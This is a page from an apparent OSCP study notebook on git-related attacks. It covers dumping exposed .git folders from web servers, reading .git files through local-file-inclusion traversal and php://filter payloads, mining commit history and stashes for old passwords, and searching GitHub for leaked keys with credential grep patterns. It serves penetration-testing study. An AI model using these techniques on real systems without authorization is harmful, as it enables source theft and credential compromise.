Git & GitHub — OSCP Reference

Ctrl+F: wget -r · .git/ · git-dumper · git log · git clone · exposed git

Exposed .git on a web app? Prefer wget -r first — fast, no extra install, mirrors the whole .git tree. Then git-dumper / GitTools if wget misses objects.

📌 Quick dump — `wget -r` (preferred)

When curl http://TARGET/.git/HEAD shows ref: refs/heads/main:

# Mirror entire exposed .git folder (better first try on exam)
wget -r "http://TARGET/.git/"
 
# Lab example
wget -r "http://192.168.145.144/.git/"
 
cd TARGET/.git/..   # or cd into downloaded tree
ls -la
git status          # may work if full repo recovered
grep -rni "password\|passwd\|secret\|apikey\|token" . 2>/dev/null

Method	When
`wget -r "http://TARGET/.git/"`	Default — simple, built-in, often enough
git-dumper	Missing objects / incomplete wget mirror
GitTools Dumper	Alternative to git-dumper

→ Rest of web recon below · Curl · Local File Inclusion (LFI)

Git shows up on OSCP in three places: web recon (leaked .git folder), on-box hunting (repo on disk after shell), and your Kali (git clone tools from GitHub). Public GitHub can also leak company creds during OSINT.

📌 When to use this

Found something Git-related?
│
├─ Web: /.git/HEAD returns "ref: refs/heads/main"
│   └─ Dump repo → read source → creds / hardcoded secrets / API keys
│
├─ Shell: find .git on target filesystem
│   └─ git log · git show · .git/config · stash → old passwords in history
│
├─ OSINT: company / dev names on GitHub
│   └─ Search repos · commits · gists for leaked keys
│
└─ Kali: need a tool not in apt
    └─ git clone → pip install / run script → **[[Installation - Kali Setup]]**

📌 1) Web recon — exposed `.git` directory

Misconfigured web servers sometimes serve the entire .git folder — full source code without shell access.

Quick check

curl -s http://TARGET/.git/HEAD
# ref: refs/heads/main   ← exposed repo ✅
 
curl -s http://TARGET/.git/config
curl -s http://TARGET/.git/logs/HEAD
 
# Dir brute — common paths
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt | grep -i git
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://TARGET/FUZZ -mc 200,301,302,403 | grep git

Also check during Initial foothold path list: /.git · UseCases for ports > Port 80 — HTTP

Dump the repo (Kali)

# Preferred — wget recursive mirror (no install)
wget -r "http://TARGET/.git/"
wget -r "http://192.168.145.144/.git/"
 
# git-dumper — if wget misses objects
sudo apt install git-dumper -y
# or: pip install git-dumper
 
git-dumper http://TARGET/.git ./dumped_repo
cd dumped_repo && ls -la
 
# Alternative: GitTools (Dumper.sh)
git clone https://github.com/internetwache/GitTools.git
./GitTools/Dumper/gitdumper.sh http://TARGET/.git ./dumped_repo

What to read first after dump

grep -rni "password\|passwd\|secret\|apikey\|api_key\|token\|AKIA\|PRIVATE KEY" ./dumped_repo 2>/dev/null
cat config.php database.php .env settings.py 2>/dev/null
find . -name "*.php" -o -name "*.py" -o -name "*.config" -o -name ".env*"

→ grep · Local File Inclusion (LFI) (read .git files via LFI if directory listing blocked)

📌 2) LFI + `.git` (can’t list directory)

If LFI exists but .git isn’t browsable, read individual objects:

# config — remote URL may hold creds
?page=../../../../var/www/html/.git/config
 
# HEAD — confirms branch
?page=../../../../var/www/html/.git/HEAD
 
# Commit log (recent commits)
?page=../../../../var/www/html/.git/logs/HEAD
 
# PHP wrapper — base64 source files
?page=php://filter/convert.base64-encode/resource=../../../../var/www/html/.git/config

Decode base64 output → Base64. Full LFI chains → Local File Inclusion (LFI)

📌 3) On-box — repo forensics (after shell)

Developers leave .git on production servers. Hunt repos, then mine history — old commits often still contain removed passwords.

Find repos

find / -name ".git" -type d 2>/dev/null
find /var/www /opt /home -name ".git" -type d 2>/dev/null
ls -la /var/www/html/.git 2>/dev/null

`git log` — commit history

git log shows the commit history of a Git repository.

Think of it as answering:

“Who changed what, when, and why?”

cd /var/www/html   # or wherever .git lives
 
git log                          # full history (q to quit pager)
git log --oneline                # compact one line per commit
git log -5                       # last 5 commits
git log --author="admin"         # filter by author
git log --since="2024-01-01"     # date filter
git log -p                       # show patch/diff per commit
git log -S "password"            # commits that added/removed string "password"
git log --all --full-history -- config.php   # history of one file

Inspect specific commits & files

git show HEAD                    # latest commit + diff
git show abc1234                 # specific commit hash
git show abc1234:config.php      # file contents AT that commit (even if deleted now)
git diff abc1234..def5678        # diff between commits
 
git branch -a                    # all branches
git checkout other-branch        # switch branch (read-only recon)
git tag -l                       # tags (release snapshots)

Stash, config, remotes — common cred locations

git stash list                   # stashed WIP — sometimes has secrets
git stash show -p stash@{0}      # view stash diff
 
cat .git/config                  # remote URL — may embed user:pass
# [remote "origin"]
#   url = https://user:TOKEN@github.com/org/repo.git
 
git remote -v
git config --list
git config --global --list       # user-level config on box

Search entire history for secrets

git log -p | grep -i "password\|secret\|apikey\|token" 
git log -p --all -S "password"   # pickaxe search — commits touching "password"
git grep "password" $(git rev-list --all)   # search every revision

Windows equivalent for file search → grep > 📌 Windows equivalents (findstr / Select-String)

📌 4) Public GitHub OSINT

Before / during a box — search for org name, domain, employee handles, product names.

Manual search (browser)

Search	URL pattern
Org repos	`https://github.com/ORGNAME`
Code search	`https://github.com/search?q=org:TARGET+password&type=code`
User gists	`https://gist.github.com/USERNAME`
Commits	`https://github.com/search?q=repo:ORG/REPO+apikey&type=commits`

GitHub code search operators: org: · user: · repo: · filename:.env · extension:pem · extension:id_rsa

What to hunt

Pattern	Why
`password` · `passwd` · `pwd=`	Hardcoded creds
`api_key` · `apikey` · `secret`	API secrets
`AKIA`	AWS access key prefix
`BEGIN RSA PRIVATE KEY`	SSH/TLS keys
`mongodb://` · `mysql://`	DB connection strings
`.env` · `config.json` · `web.config`	Config files
`xoxb-` · `ghp_`	Slack / GitHub tokens

Clone & dig locally

git clone https://github.com/TARGETORG/some-repo.git
cd some-repo
 
git log --oneline
git log -p | grep -i "password\|secret\|key"
git log --all --full-history -- .env
git show HEAD:config/settings.yml

Automated secret scanning (optional)

# trufflehog — scan repo history
pip install trufflehog
trufflehog git file://$(pwd)
 
# gitleaks
docker run -v $(pwd):/path zricethezav/gitleaks:latest detect -s /path -v

Use when manual git log -S misses buried commits.

📌 5) `git clone` on Kali — install OSCP tools

Full guide (PATH, pip install ., .deb, binaries) → Install Download and Run

Quick pattern:

cd /opt   # or ~/tools
git clone https://github.com/ORG/REPO.git
cd REPO
pip3 install . --break-system-packages    # makes CLI commands global (Impacket-style)
# or: pip3 install -r requirements.txt
python3 script.py -h
 
# Update later
git pull

Per-tool commands → Installation - Kali Setup

📌 6) Git command reference (quick)

Command	Purpose
`git log`	Commit history — who, when, message
`git log --oneline`	Short history
`git log -p`	History with diffs
`git log -S "text"`	Commits that changed `text`
`git show HASH`	One commit detail
`git show HASH:path/file`	File at old commit
`git diff A..B`	Diff between commits
`git branch -a`	List branches
`git stash list`	Stashed changes
`git remote -v`	Remote URLs
`git config --list`	All config (cred URLs)
`git grep PATTERN`	Search tracked files
`git clone URL`	Copy remote repo
`git pull`	Update cloned repo

📌 7) OSCP workflow cheat sheet

# ─── WEB: exposed .git ───────────────────────────────────────
curl -s http://TARGET/.git/HEAD
git-dumper http://TARGET/.git ./repo
grep -rni "password\|secret\|api" ./repo
 
# ─── SHELL: repo on disk ─────────────────────────────────────
find /var/www /home -name ".git" -type d 2>/dev/null
cd /path/to/site
git log --oneline
git log -p -S "password"
git show COMMIT_HASH:config.php
cat .git/config
 
# ─── OSINT: public GitHub ────────────────────────────────────
git clone https://github.com/org/repo.git
git log -p | grep -iE "password|secret|AKIA|api_key"
 
# ─── KALI: install tool ──────────────────────────────────────
git clone https://github.com/user/tool.git && cd tool && pip3 install .

tags	git, github, git-log, git-dumper, exposed-git, osint, source-code, credentials, recon, web
aliases	Git, GitHub, git log, .git

Pearson's OSCP Notebook

Explorer

Git & GitHub

Git & GitHub — OSCP Reference

📌 Quick dump — `wget -r` (preferred)

📌 When to use this

📌 1) Web recon — exposed `.git` directory

Quick check

Dump the repo (Kali)

What to read first after dump

📌 2) LFI + `.git` (can’t list directory)

📌 3) On-box — repo forensics (after shell)

Find repos

`git log` — commit history

Inspect specific commits & files

Stash, config, remotes — common cred locations

Search entire history for secrets

📌 4) Public GitHub OSINT

Manual search (browser)

What to hunt

Clone & dig locally

Automated secret scanning (optional)

📌 5) `git clone` on Kali — install OSCP tools

📌 6) Git command reference (quick)

📌 7) OSCP workflow cheat sheet

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Git & GitHub

Git & GitHub — OSCP Reference

📌 Quick dump — wget -r (preferred)

📌 When to use this

📌 1) Web recon — exposed .git directory

Quick check

Dump the repo (Kali)

What to read first after dump

📌 2) LFI + .git (can’t list directory)

📌 3) On-box — repo forensics (after shell)

Find repos

git log — commit history

Inspect specific commits & files

Stash, config, remotes — common cred locations

Search entire history for secrets

📌 4) Public GitHub OSINT

Manual search (browser)

What to hunt

Clone & dig locally

Automated secret scanning (optional)

📌 5) git clone on Kali — install OSCP tools

📌 6) Git command reference (quick)

📌 7) OSCP workflow cheat sheet

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

📌 Quick dump — `wget -r` (preferred)

📌 1) Web recon — exposed `.git` directory

📌 2) LFI + `.git` (can’t list directory)

`git log` — commit history

📌 5) `git clone` on Kali — install OSCP tools